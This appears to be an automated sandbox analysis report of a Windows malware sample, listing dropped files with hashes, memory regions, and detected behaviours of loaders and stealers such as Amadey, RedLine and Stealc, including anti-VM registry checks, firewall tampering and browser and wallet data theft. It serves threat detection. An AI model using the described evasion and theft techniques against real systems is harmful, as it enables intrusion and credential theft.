MD5 b23411777957312ec2a28cf8da6bcb4a
SHA1 6dd3bdf8be0abb5cb8bf63a35de95c8304f5e7c7
SHA256 4d0bdf44125e8be91eecaba44c9b965be9b0d2cb8897f3f35e94f2a74912f074
SHA512 e520b4096949a6d7648c197a57f8ce5462adb2cc260ccac712e5b939e7d259f1eee0dfc782959f3ea689befce99cddf38b56a2cc140566870b045114e9b240dc

C:\Users\Admin\AppData\Local\Temp\e58caec\common\js\common.js

MD5 87daf84c22986fa441a388490e2ed220
SHA1 4eede8fb28a52e124261d8f3b10e6a40e89e5543
SHA256 787f5c13eac01bd8bbce329cc32d2f03073512e606b158e3fff07de814ea7f23
SHA512 af72a1d3757bd7731fa7dc3f820c0619e42634169643d786da5cce0c9b0d4babd4f7f57b12371180204a42fec6140a2cff0c13b37d183c9d6bbaeb8f5ce25e5f

C:\Users\Admin\AppData\Local\Temp\e58caec\config\config.js

MD5 34f8eb4ea7d667d961dccfa7cfd8d194
SHA1 80ca002efed52a92daeed1477f40c437a6541a07
SHA256 30c3d0e8bb3620fe243a75a10f23d83436ff4b15acb65f4f016258314581b73d
SHA512 b773b49c0bbd904f9f87b0b488ed38c23fc64b0bdd51ab78375a444ea656d929b3976808e715a62962503b0d579d791f9a21c45a53038ed7ae8263bd63bc0d50

C:\Users\Admin\AppData\Local\Temp\e58caec\common\js\external.js

MD5 140918feded87fe0a5563a4080071258
SHA1 9a45488c130eba3a9279393d27d4a81080d9b96a
SHA256 25df7ab9509d4e8760f1fdc99684e0e72aac6e885cbdd3396febc405ea77e7f6
SHA512 56f5771db6f0f750ae60a1bb04e187a75fbee1210e1381831dcc2d9d0d4669ef4e58858945c1d5935e1f2d2f2e02fe4d2f08dd2ab27a14be10280b2dd4d8a7c6

C:\Users\Admin\AppData\Local\Temp\e58caec\config\installparams.js

MD5 5341de2e990c85795bcd6f09252f908b
SHA1 b88dd2301853dfcab8b54f45be648b17131e83c6
SHA256 8f93c4023af718e0f8e87d19a8b3e840a88dfb8e329fd8f5eaaa2a5b9bfa219e
SHA512 e0fb846c9bb836c4d3b5c444d9b45b2e489354d55688cb7da710c199a9f8f11491b74d1ff631c38eca633165923a3271c2136040b23a52a8dc6825fffada70ae

C:\Users\Admin\AppData\Local\Temp\e58caec\config\stubparams.js

MD5 91f6304d426d676ec9365c3e1ff249d5
SHA1 05a3456160862fbaf5b4a96aeb43c722e0a148da
SHA256 823f4f8dfe55d3ce894308122d6101fed1b8ef1eb8e93101945836655b2aed1b
SHA512 530f4fad6af5a0e600b037fcd094596652d2e3bf2f6d2ce465aae697ea90a361a0ffcc770c118102a0dd9bf12ab830ac6b459e57a268f435c88c049c127491f4

memory/4712-369-0x0000000000CE0000-0x000000000118D000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\e58caec\pages\Initialization\page.js

MD5 50c3c85a9b0a5a57c534c48763f9d17e
SHA1 0455f60e056146082fd36d4aafe24fdbb61e2611
SHA256 0135163476d0eb025e0b26e9d6b673730b76b61d3fd7c8ffcd064fc2c0c0682a
SHA512 01fb800963516fd5b9f59a73e397f80daba1065c3d7186891523162b08559e93abf936f154fc84191bbadec0fa947d54b5b74c6981cebc987c8e90f83ddf22c4

C:\Users\Admin\AppData\Local\Temp\e58caec\pages\Initialization\features.js

MD5 7e20d80564b5d02568a8c9f00868b863
SHA1 15391f96e1b003f3c790a460965ebce9fce40b8a
SHA256 cba5152c525188a27394b48761362a9e119ef3d79761358a1e42c879c2fe08cc
SHA512 74d333f518cabb97a84aab98fbc72da9ce07dd74d8aab877e749815c17c1b836db63061b7ac5928dc0bb3ffd54f9a1d14b8be7ed3a1ba7b86ee1776f82ba78e7

C:\Users\Admin\AppData\Local\Temp\e58caec\config\installerlist.js

MD5 f90f74ad5b513b0c863f2a5d1c381c0b
SHA1 7ef91f2c0a7383bd4e76fd38c8dd2467abb41db7
SHA256 df2f68a1db705dc49b25faf1c04d69e84e214142389898110f6abb821a980dcc
SHA512 4e95032c4d3dbd5c5531d96a0e4c4688c4205255566a775679c5187422762a17cbca3e4b0068918dbf5e9bf148fc8594f8b747930e0634d10cc710bea9e6ff5d

memory/3008-396-0x0000000000400000-0x0000000000408000-memory.dmp

C:\Users\Admin\Pictures\75nh1jcdTa7G9YrRk6Wqykkr.exe

MD5 77f762f953163d7639dff697104e1470
SHA1 ade9fff9ffc2d587d50c636c28e4cd8dd99548d3
SHA256 d9e15bb8027ff52d6d8d4e294c0d690f4bbf9ef3abc6001f69dcf08896fbd4ea
SHA512 d9041d02aaca5f06a0f82111486df1d58df3be7f42778c127ccc53b2e1804c57b42b263cc607d70e5240518280c7078e066c07dec2ea32ec13fb86aa0d4cb499

C:\Users\Admin\Pictures\SUk9Dx9KB9NHohPMqYPvcFtz.exe

MD5 cd4acedefa9ab5c7dccac667f91cef13
SHA1 bff5ce910f75aeae37583a63828a00ae5f02c4e7
SHA256 dd0e8944471f44180dd44807d817e0b8a1c931fc67d48278cdb7354d98567e7c
SHA512 06fae66da503eb1b9b4fbe63a5bb98c519a43999060029c35fe289e60b1cb126a6278c67ce90f02e05b893fcaea6d54f9deb65bc6da82561487a7754f50c93d1

C:\Users\Admin\Pictures\FszrjawS9fPLQZ7mFd7V7Lmw.exe

MD5 ef65292d26c79999f9cd88fc202e257e
SHA1 bb1022e9d3d345f14db1f7e431d4d63259fa3ac2
SHA256 4bd44fc79eff569312def70fb850c7f168e84d039f4d1d23b7a4927338476222
SHA512 7df62adbecb10d5894741e85ee99df64949eb8a8300e352a5e9d8253b65ea58971f10d10a1f7a8dc0b99bfc87ab8ee511499a6b740cc996f8ec64e312209d02a

memory/5344-434-0x0000000000B10000-0x0000000000B7A000-memory.dmp

memory/5344-435-0x0000000005870000-0x000000000590C000-memory.dmp

memory/3560-436-0x0000000007200000-0x0000000007266000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\{F16937BD-2510-4002-B9FA-06FE28ACEEF9}.tmp\360P2SP.dll

MD5 fc1796add9491ee757e74e65cedd6ae7
SHA1 603e87ab8cb45f62ecc7a9ef52d5dedd261ea812
SHA256 bf1b96f5b56be51e24d6314bc7ec25f1bdba2435f4dfc5be87de164fe5de9e60
SHA512 8fa2e4ff5cbc05034051261c778fec1f998ceb2d5e8dea16b26b91056a989fdc58f33767687b393f32a5aff7c2b8d6df300b386f608abd0ad193068aa9251e0d

memory/3560-446-0x0000000007400000-0x0000000007450000-memory.dmp

memory/4712-447-0x0000000000CE0000-0x000000000118D000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\[email protected]\setup.ini

MD5 e6edb41c03bce3f822020878bde4e246
SHA1 03198ad7bbfbdd50dd66ab4bed13ad230b66e4d9
SHA256 9fa80f0889358d9db3d249a2e747e27b7c01c6123b784d94d169c0e54cacf454
SHA512 2d71b7d50212f980e82562af95598c430aa0875f7a9d9cc670ba2cb1f63057fb26fd747a99cb4ca08f2355d002daa79bda2236b3ad9e37a3cfef32ae5420e2a1

C:\Users\Admin\AppData\Local\Temp\[email protected]

MD5 184a117024f3789681894c67b36ce990
SHA1 c5b687db3b27ef04ad2b2cbc9f4e523cb7f6ba7e
SHA256 b10d5fef165fc89e61cd16e02eac1b90b8f94ef95218bdd4b678cd0d5c8a925e
SHA512 354d3bbc1329cbbe30d22f0cf95564e44acc68d6fe91e2beb4584a473d320faf4c092de9db7f1f93cf0b235703fc8de913883985c7d5db6b596244771a1edaf7

memory/3456-486-0x000000001E640000-0x000000001E74A000-memory.dmp

memory/3456-489-0x000000001E550000-0x000000001E562000-memory.dmp

C:\Users\Admin\Pictures\YJwP5U6D0gUWXm0tvq2yHCEw.exe

MD5 9b73b0054185022266014a06aa83b5b7
SHA1 7b2cf66877aca0bb03a5bf88c2351f097932f3c8
SHA256 8c4108d277eeef1facfdb3af7202d319d5ca8fa7246047c67138609dfac05049
SHA512 1781f52a9111e7d5769643041d9b3a8c04ff5350c8327d2682ff194c8427622b3432cfe234b6b35484a7540f2fb38da4c8733ef490e5bed165b085abea531a65

memory/3456-490-0x000000001E5B0000-0x000000001E5EC000-memory.dmp

C:\Users\Admin\Pictures\0xYvEN3BkDObbHJJpOC5I8sz.exe

MD5 acadbe83c09a7a9b8213a662eda12e93
SHA1 26a6e55076bc0602ff9060ac529528f3fc631986
SHA256 42dd6aeee394e298646701ebe1fd611186ea4ee8c7e6383913db121444635944
SHA512 a7ad3777e4a5ae9dd8dd09cff3a3ab498c6d2dc5b922407c48936225cb0c91430f75114f46b0a7b39046dc45c26221e199d33ff0bce105e05e903eef7fbdcd9f

memory/5884-496-0x0000023261060000-0x0000023261CB2000-memory.dmp

memory/5900-499-0x00007FF61F0E0000-0x00007FF61FE6D000-memory.dmp

C:\Windows\System32\GroupPolicy\gpt.ini

MD5 8ef9853d1881c5fe4d681bfb31282a01
SHA1 a05609065520e4b4e553784c566430ad9736f19f
SHA256 9228f13d82c3dc96b957769f6081e5bac53cffca4ffde0ba1e102d9968f184a2
SHA512 5ddee931a08cfea5bb9d1c36355d47155a24d617c2a11d08364ffc54e593064011dee4fea8ac5b67029cab515d3071f0ba0422bb76af492a3115272ba8feb005

C:\Users\Admin\Pictures\uJNyGwtKRLdEnZrYZRh3seW5.exe

MD5 08063da816c5db77ce64807c4ec2f7e8
SHA1 61ded712f36458ba6ffcec37edbf65d5927d2d92
SHA256 dd08b1356c9b9bffe1ae9c254d28411890204e5b8fe1f9b9af0a7a3e5b6ed61e
SHA512 df74cef767efde4711af6e40ef82801d91c4f1b5805fb0411235272a62fd08204d39153d4ae2056880d9d3ceaaae9c8e87254ea57d35a83bf501ac5be721c5f0

C:\Users\Admin\AppData\Local\Temp\7zS1989.tmp\Install.exe

MD5 7d1dd60c4b8fb4167645f7093801b6d9
SHA1 4ae1feb130e57f803ef00709419e6226b7c0e54d
SHA256 1c62508e00e567d8f753734590a0a303acad2877681173cb4eed2e1a8409f3e9
SHA512 7904bcaefe3d2f0e643f24a2e1eb6f0079e28d7df15f7be0fcd73ecc76680a9a677fe199d8a4d80d08144adbd4769d2a14eac2f933404aeeec05fe103429e872

C:\Users\Admin\AppData\Local\Temp\7zS234D.tmp\Install.exe

MD5 0550ef6afda33ea1c1a231b939ca9b07
SHA1 f74897166553b218e3a0869502ed036f175be9cd
SHA256 8462d8b0433559e9afc2cd5de7bffe38fc6b82e3da9e79bdd33a85ab79fafaeb
SHA512 329fa4ba439852740683dfb60070116fc459785d8a936e59aa4e55affe4697d66c5db844d154b30ab41913342fd5d51760f329cf30dc039387d0929026219a2e

memory/5344-539-0x0000000008470000-0x0000000008732000-memory.dmp

memory/4712-540-0x0000000000CE0000-0x000000000118D000-memory.dmp

memory/5344-541-0x0000000002FB0000-0x0000000002FB6000-memory.dmp

memory/3560-542-0x0000000007F70000-0x0000000008132000-memory.dmp

memory/3456-543-0x000000001E9D0000-0x000000001EA46000-memory.dmp

memory/3560-544-0x0000000008670000-0x0000000008B9C000-memory.dmp

memory/3456-545-0x000000001C260000-0x000000001C27E000-memory.dmp

memory/3456-547-0x000000001F860000-0x000000001FD88000-memory.dmp

memory/3456-546-0x000000001F160000-0x000000001F322000-memory.dmp

memory/5328-548-0x0000000010000000-0x00000000105DF000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\tmp5AF0.tmp

MD5 302e7bb88e0ca2e0a4b0fcb784f8e921
SHA1 79304b5359b5a5ffa222a48373d214ff7bdca8e9
SHA256 0583a074f22df06e2e66267c0cd1789e77849b6e7efaf9409baf814e95374f7b
SHA512 b15a5c71ba415d794690d49ba1585866a88e3d437c95c5e78f057a22108c6018441df3ee4a66b05133999fb42a043423317792f785ac2d42c8a73bee33c805b6

C:\Users\Admin\AppData\Local\Temp\tmp5A8F.tmp

MD5 d444c807029c83b8a892ac0c4971f955
SHA1 fa58ce7588513519dc8fed939b26b05dc25e53b5
SHA256 8297a7698f19bb81539a18363db100c55e357fa73f773c2b883d2c4161f6a259
SHA512 b7958b843639d4223bef65cdc6c664d7d15b76ac4e0a8b1575201dd47a32899feff32389dcc047314f47944ebe7b774cd59e51d49202f49541bbd70ecbb31a2e

memory/4712-559-0x0000000000CE0000-0x000000000118D000-memory.dmp

memory/5916-589-0x0000000000CE0000-0x000000000118D000-memory.dmp

memory/5916-590-0x0000000000CE0000-0x000000000118D000-memory.dmp

memory/3652-591-0x0000000002D20000-0x0000000002D56000-memory.dmp

memory/3652-592-0x00000000055E0000-0x0000000005C08000-memory.dmp

memory/3652-594-0x00000000055B0000-0x00000000055D2000-memory.dmp

memory/3652-597-0x0000000005C80000-0x0000000005CE6000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_3z5x4prg.gm3.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/3652-605-0x0000000006040000-0x0000000006394000-memory.dmp

memory/3652-607-0x0000000005100000-0x000000000511E000-memory.dmp

memory/4712-610-0x0000000000CE0000-0x000000000118D000-memory.dmp

memory/5344-614-0x0000000006630000-0x000000000664A000-memory.dmp

memory/5344-615-0x0000000006660000-0x0000000006666000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

MD5 33b19d75aa77114216dbc23f43b195e3
SHA1 36a6c3975e619e0c5232aa4f5b7dc1fec9525535
SHA256 b23ced31b855e5a39c94afa1f9d55b023b8c40d4dc62143e0539c6916c12c9d2
SHA512 676fa2fd34878b75e5899197fe6826bb5604541aa468804bc9835bd3acabed2e6759878a8f1358955413818a51456816e90f149133828575a416c2a74fc7d821

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 ca5a932235184b1fd4caaf51fd054e8d
SHA1 000a2d4917807d95134ebfdb4b7eb1e1a3f49733
SHA256 3ca11004ffd51b32b84a60f78b642011abc4315d43a0886c621c3e0ededad196
SHA512 4092a0f578fedf3586bb2dce51efd443c29bf2f1ae19de6a66d0206dd4ceddc87d15b4fd6d7fd573d1ac2d1af1e07814560078707c28849c4f760226d54cb8a8

memory/3856-627-0x0000000010000000-0x00000000105DF000-memory.dmp

C:\Windows\system32\GroupPolicy\Machine\Registry.pol

MD5 cdfd60e717a44c2349b553e011958b85
SHA1 431136102a6fb52a00e416964d4c27089155f73b
SHA256 0ee08da4da3e4133e1809099fc646468e7156644c9a772f704b80e338015211f
SHA512 dfea0d0b3779059e64088ea9a13cd6b076d76c64db99fa82e6612386cae5cda94a790318207470045ef51f0a410b400726ba28cb6ecb6972f081c532e558d6a8

memory/4712-640-0x0000000000CE0000-0x000000000118D000-memory.dmp

memory/2428-642-0x00000000065E0000-0x00000000065FA000-memory.dmp

memory/2428-641-0x00000000071F0000-0x0000000007286000-memory.dmp

memory/2428-643-0x0000000006690000-0x00000000066B2000-memory.dmp

C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 f6f3727a8a77037c8cd9feee93ab8712
SHA1 95878c94b0c961f80483a778631b6453dca47e7d
SHA256 b4d044860c2e30a0479473dd493ede6853f0bb843ef5053537d68052da7fad30
SHA512 1caafe3936fb821d1f2a18a3f27a302069b49fb78f238a2f27bea2e15e6ba7270b4c811cf8ea031baa9332bfbd1c91c80b98a63d6e011c2637f0d55a0ec76030

C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

MD5 5315900105942deb090a358a315b06fe
SHA1 22fe5d2e1617c31afbafb91c117508d41ef0ce44
SHA256 e8bd7d8d1d0437c71aceb032f9fb08dd1147f41c048540254971cc60e95d6cd7
SHA512 77e8d15b8c34a1cb01dbee7147987e2cc25c747e0f80d254714a93937a6d2fe08cb5a772cf85ceb8fec56415bfa853234a003173718c4229ba8cfcf2ce6335a6

memory/4716-665-0x0000000004DC0000-0x0000000005114000-memory.dmp

memory/4716-671-0x0000000005A10000-0x0000000005A5C000-memory.dmp

C:\Windows\system32\GroupPolicy\gpt.ini

MD5 a62ce44a33f1c05fc2d340ea0ca118a4
SHA1 1f03eb4716015528f3de7f7674532c1345b2717d
SHA256 9f2cd4acf23d565bc8498c989fccccf59fd207ef8925111dc63e78649735404a
SHA512 9d9a4da2df0550afdb7b80be22c6f4ef7da5a52cc2bb4831b8ff6f30f0ee9eac8960f61cdd7cfe0b1b6534a0f9e738f7eb8ea3839d2d92abeb81660de76e7732

memory/4712-676-0x0000000000CE0000-0x000000000118D000-memory.dmp

memory/5384-686-0x0000022A91240000-0x0000022A91262000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 aab621bb456d4502e8ec75b7f53f9885
SHA1 1cb953c3a3efc0f30daeb7eba190a176411ec872
SHA256 52bbb5d6715c5cba5f4bf3c5e4d9e867c1d169b2f15f40353fa5c6f73a31db0a
SHA512 b916c9b212ec9379ef6bd9534e742ae589c8123904f31c3188f9bb5f878fedf472a312af91a2d05baf4e5f43f4267db3152097822a0bda569367a618e1f85ab2

memory/4712-690-0x0000000000CE0000-0x000000000118D000-memory.dmp

memory/4712-691-0x0000000000CE0000-0x000000000118D000-memory.dmp

memory/3432-696-0x0000000000400000-0x000000000045C000-memory.dmp

memory/3432-697-0x0000000000400000-0x000000000045C000-memory.dmp

C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 9626c08d99403bead21016ed2cbeeb67
SHA1 28956c3f66929c72d19c840efdabb11812609dd4
SHA256 1b72027466ca57aa03aad8bb30fd58e47ffbee8aeb4907d8626cde3f4dea6d23
SHA512 82a50c6a329dc3be4548067e44b97091e8a77d579e2b92fa7b6fee317d00ff3b5dd69d655da94e9cc8f63b4d4a9ca23c79b1e60979a33337e358e4dc8475165e

memory/2244-708-0x0000000004DF0000-0x0000000004E3C000-memory.dmp

memory/3432-710-0x0000000000400000-0x000000000045C000-memory.dmp

memory/3432-724-0x0000000000400000-0x000000000045C000-memory.dmp

memory/3432-717-0x0000000000400000-0x000000000045C000-memory.dmp

memory/3432-714-0x0000000000400000-0x000000000045C000-memory.dmp

memory/3432-712-0x0000000000400000-0x000000000045C000-memory.dmp

C:\Program Files\Mozilla Firefox\browser\features\{85FD6ACE-3736-491B-8514-6C8C9556E131}.xpi

MD5 413bcf5653cf9b5fcdd4176ae7f2076c
SHA1 6295ef1515f6b722278e4d9227a0051d82e19d27
SHA256 d08dbb8d6c75b35c0d9d2234200e8c7b5a6e5debcc487392af3f8d36459b221a
SHA512 636553e4d5f3f6ccac1a29de0e591f3a40dbbd2f75ef84474e5f1e29702e27d6c2379b441924a0413c3227d5319921f5aaf32d39c1e00feebd1febd7041755e8

C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 71a3f271b3e1ed604c116555c972cc86
SHA1 4d0f3530f8af5e7f7ae021cce1b138cf01bd05e7
SHA256 08035959a809451ebfb9c9df2e858c3f1c5bfbddea7f0793ed732d0dd2089e27
SHA512 b9747400125f1ba3ece5ade5f5c046237d9fb2fae50d77dd1fd69611f8eebef480ccc34687db08f6deebfd722868d72fd54f496be4e641cf6acdc94586353099

memory/5676-806-0x0000000000CE0000-0x000000000118D000-memory.dmp

memory/5676-830-0x0000000000CE0000-0x000000000118D000-memory.dmp

C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\agcghmjnenlfcjmnldooeaadankclolo\1.4_0\_locales\fa\messages.json

MD5 238d2612f510ea51d0d3eaa09e7136b1
SHA1 0953540c6c2fd928dd03b38c43f6e8541e1a0328
SHA256 801162df89a8ad2b1a51de75e86eba3958b12960660960a5ffafe9bc55bc293e
SHA512 2630dd7a3c17dc963b1a71d81295cf22f8b3838748b55c433318e1e22f5b143a6d374ca2e5a8420659fa130200fbaa4814d0f093b1eca244b5635a3b99878e1c

C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\agcghmjnenlfcjmnldooeaadankclolo\1.4_0\_locales\en_GB\messages.json

MD5 2a1e12a4811892d95962998e184399d8
SHA1 55b0ae8a7b5a5d6094827ede8e6a1d26d4b4a720
SHA256 32b4406692c26b540fea815a9bb56df1f164140cd849e8025930b7425036cceb
SHA512 bb54d5e8684a6bfeac559b7c7a7551eed6a8a43a4c6464218cb0adb1c89fea124b69760690c3124af86fa68ac3fdbe903eaa098f0af2b6a58f4702c803abc089

C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\agcghmjnenlfcjmnldooeaadankclolo\1.4_0\_locales\pt_BR\messages.json

MD5 0b1cf3deab325f8987f2ee31c6afc8ea
SHA1 6a51537cef82143d3d768759b21598542d683904
SHA256 0ec437af3f59fef30355cf803966a2b9a0cd9323d390297496f750775995a6bf
SHA512 5bc1f5a2d38f4a071513e2ac25b241c8e5584bed8d77e7fc4194855898d51a328dd73200f5aae6c9bc1b2a304e40e56bc686192074bd8a1bcc98f4971dee428f

C:\Windows\system32\GroupPolicy\Machine\Registry.pol

MD5 0a48000b0ebb8e94be299edc703328fe
SHA1 02c746f931d1bc73303e8b0fa42eb5cb9bc9cc52
SHA256 81d9b12cf4c7aeb97fff5d5616bd36e230c3cd69397f2ad1c962582f1072dd47
SHA512 01aeeb4e8417c5784c069bcd7511edec7091274a9bd4e9137152d5e18b11ec7c242253983d1d8732dda72c82a9ca46f06696525a6235b41bea04ddd58fa1c0c1

Analysis: behavioral2

Detonation Overview

Submitted

2024-05-31 01:25

Reported

2024-05-31 01:27

Platform

win11-20240426-en

Max time kernel

150s

Max time network

147s

Command Line

"C:\Users\Admin\AppData\Local\Temp\b2e7774867311abc1d40a394e338077643ee807ef30423274d024bfe3f2d66fb.exe"

Signatures

Amadey

trojan amadey

Modifies firewall policy service

evasion
Description Indicator Process Target
Set value (int) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\FirewallRules\C:\ = "1" C:\Users\Admin\Pictures\A7ygm53wCCRh2s2ImjMJEofX.exe N/A

PrivateLoader

loader privateloader

RedLine

infostealer redline

RedLine payload

Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Stealc

stealer stealc

Identifies VirtualBox via ACPI registry values (likely anti-VM)

evasion
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ C:\Users\Admin\AppData\Local\Temp\1b29d73536\axplont.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ C:\Users\Admin\AppData\Local\Temp\1b29d73536\axplont.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ C:\Users\Admin\AppData\Local\Temp\b2e7774867311abc1d40a394e338077643ee807ef30423274d024bfe3f2d66fb.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ C:\Users\Admin\AppData\Local\Temp\1b29d73536\axplont.exe N/A

Blocklisted process makes network request

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\rundll32.exe N/A

Downloads MZ/PE file

Checks BIOS information in registry

Description Indicator Process Target
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion C:\Users\Admin\AppData\Local\Temp\1b29d73536\axplont.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion C:\Users\Admin\AppData\Local\Temp\b2e7774867311abc1d40a394e338077643ee807ef30423274d024bfe3f2d66fb.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion C:\Users\Admin\AppData\Local\Temp\7zSC69C.tmp\Install.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion C:\Users\Admin\AppData\Local\Temp\1b29d73536\axplont.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion C:\Users\Admin\AppData\Local\Temp\1b29d73536\axplont.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion C:\Users\Admin\AppData\Local\Temp\1b29d73536\axplont.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion C:\Windows\SysWOW64\rundll32.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion C:\Users\Admin\AppData\Local\Temp\1b29d73536\axplont.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion C:\Users\Admin\AppData\Local\Temp\b2e7774867311abc1d40a394e338077643ee807ef30423274d024bfe3f2d66fb.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion C:\Users\Admin\AppData\Local\Temp\1b29d73536\axplont.exe N/A

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-1696768468-2170909707-4198977321-1000\Control Panel\International\Geo\Nation C:\Windows\Temp\ZmzskowerwXEonlG\JfkETvmUyRlgORK\aokTotL.exe N/A

Executes dropped EXE

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\1b29d73536\axplont.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\1000004001\33333.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\1000005001\fileosn.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\configurationValue\One.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\configurationValue\svhoost.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\1000006001\lumma1234.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\1000008001\gold.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\1000009001\swizzzz.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\1000020001\file300un.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\1000031001\Newoff.exe N/A
N/A N/A C:\Users\Admin\Pictures\DPWn810BplW1M3My3K2iZwXt.exe N/A
N/A N/A C:\Users\Admin\Pictures\acGnUF4qbX0bbq8T97uho78u.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\1000286001\download.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\e5790a7\download.exe N/A
N/A N/A C:\Users\Admin\Pictures\A7ygm53wCCRh2s2ImjMJEofX.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\1b29d73536\axplont.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\1000031001\Newoff.exe N/A
N/A N/A C:\Users\Admin\Pictures\tnqRYQUr80cAcE3KTUZ0V5tS.exe N/A
N/A N/A C:\Users\Admin\Pictures\WNtJ9ukXafWrfgqLBhjjwqQg.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7zSC4F6.tmp\Install.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7zSC69C.tmp\Install.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7zSC69C.tmp\Install.exe N/A
N/A N/A C:\Windows\Temp\ZmzskowerwXEonlG\JfkETvmUyRlgORK\aokTotL.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\1000031001\Newoff.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\1b29d73536\axplont.exe N/A
N/A N/A C:\Users\Admin\Pictures\360TS_Setup.exe N/A
N/A N/A C:\Program Files (x86)\1717118862_0\360TS_Setup.exe N/A

Identifies Wine through registry keys

evasion
Description Indicator Process Target
Key opened \REGISTRY\USER\S-1-5-21-1696768468-2170909707-4198977321-1000\Software\Wine C:\Users\Admin\AppData\Local\Temp\b2e7774867311abc1d40a394e338077643ee807ef30423274d024bfe3f2d66fb.exe N/A
Key opened \REGISTRY\USER\S-1-5-21-1696768468-2170909707-4198977321-1000\Software\Wine C:\Users\Admin\AppData\Local\Temp\1b29d73536\axplont.exe N/A
Key opened \REGISTRY\USER\S-1-5-21-1696768468-2170909707-4198977321-1000\Software\Wine C:\Users\Admin\AppData\Local\Temp\1b29d73536\axplont.exe N/A
Key opened \REGISTRY\USER\S-1-5-21-1696768468-2170909707-4198977321-1000\Software\Wine C:\Users\Admin\AppData\Local\Temp\1b29d73536\axplont.exe N/A

Reads data files stored by FTP clients

spyware stealer

Reads user/profile data of web browsers

spyware stealer

Accesses cryptocurrency files/wallets, possible credential harvesting

spyware

Checks installed software on the system

discovery

Drops Chrome extension

Description Indicator Process Target
File created C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\agcghmjnenlfcjmnldooeaadankclolo\1.4_0\manifest.json C:\Windows\Temp\ZmzskowerwXEonlG\JfkETvmUyRlgORK\aokTotL.exe N/A
File created C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\oikgcnjambfooaigmdljblbaeelmekem\1.0.0.0\manifest.json C:\Windows\Temp\ZmzskowerwXEonlG\JfkETvmUyRlgORK\aokTotL.exe N/A

Drops desktop.ini file(s)

Description Indicator Process Target
File opened for modification C:\$RECYCLE.BIN\S-1-5-18\desktop.ini C:\Users\Admin\AppData\Local\Temp\7zSC69C.tmp\Install.exe N/A

Legitimate hosting services abused for malware hosting/C2

Description Indicator Process Target
